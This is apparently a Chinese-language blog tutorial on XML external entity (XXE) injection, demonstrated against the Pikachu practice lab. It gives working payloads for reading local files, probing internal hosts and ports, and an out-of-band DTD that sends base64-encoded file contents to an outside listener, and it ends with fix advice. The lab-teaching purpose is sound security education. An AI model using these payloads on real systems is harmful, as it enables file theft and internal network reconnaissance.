XXE漏洞详解

0X00-引言#


满纸荒唐言,一把辛酸泪!

都云作者痴,谁解其中味?

渗透不归路,快跑啊

0X01-漏洞描述#


XML外部实体注入简称XXE漏洞。XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据,定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义,文档元素。

内部声明是直接在XML文件内部声明的,对于安全人员来说基本没用。

外部声明是引用XML以外的文件,有风险。

外部实体注入可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等等。

如果想深入了解XXE,需要先学一手XML-XML详解

0X02-pikachu靶场XXE漏洞演示#


01-测试漏洞是否存在#

由于XML的标签可以自己定义,所以我们构造POC进行测试

POC:

<aa>aaa</aa>

image-20220108161220134

提交回显

image-20220108161441503

image-20220108161730120

02-任意文件读取#

POC:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>

image-20220108162719012

看一下源码-没过滤点-直接SimpleXMLElement提取xml节点-接着直接执行外部实体命令-造成外部实体注入

image-20220108164655733

simplexml_load_string() 函数转换形式良好的 XML 字符串为SimpleXMLElement 对象

$xml是xml字符串 LIBXML_NOENT替代实体

03-内网ip探测#

POC:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.234.139:22"> ]>
<creds>&goodies;</creds>

image-20220108165412271

base64解码即可知道存在地址

也可以通过burp重放遍历开放端口

04-探测内网系统源码#

POC:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.234.139/phpinfo.php"> ]>
<creds>&goodies;</creds>
05-连接SSH#

前提是靶机打开SSH

POC:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://192.168.234.139:8888/zhan/XXE-K/evil2.dtd">
%remote;%int;%send;
]>

DTD文件:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.234.139:9999?p=%file;'>">

0X03-修复建议#


  • 禁止使用外部实体,(PHP:可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体)

  • 过滤用户提交的XML数据,如SYSTEM、PUBLIC等等

0X04-参考#


这篇文章写得好啊

https://www.cnblogs.com/flokz/p/xxe.html

posted @   美式加糖  阅读(700)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
主题色彩
点击右上角即可分享
微信分享提示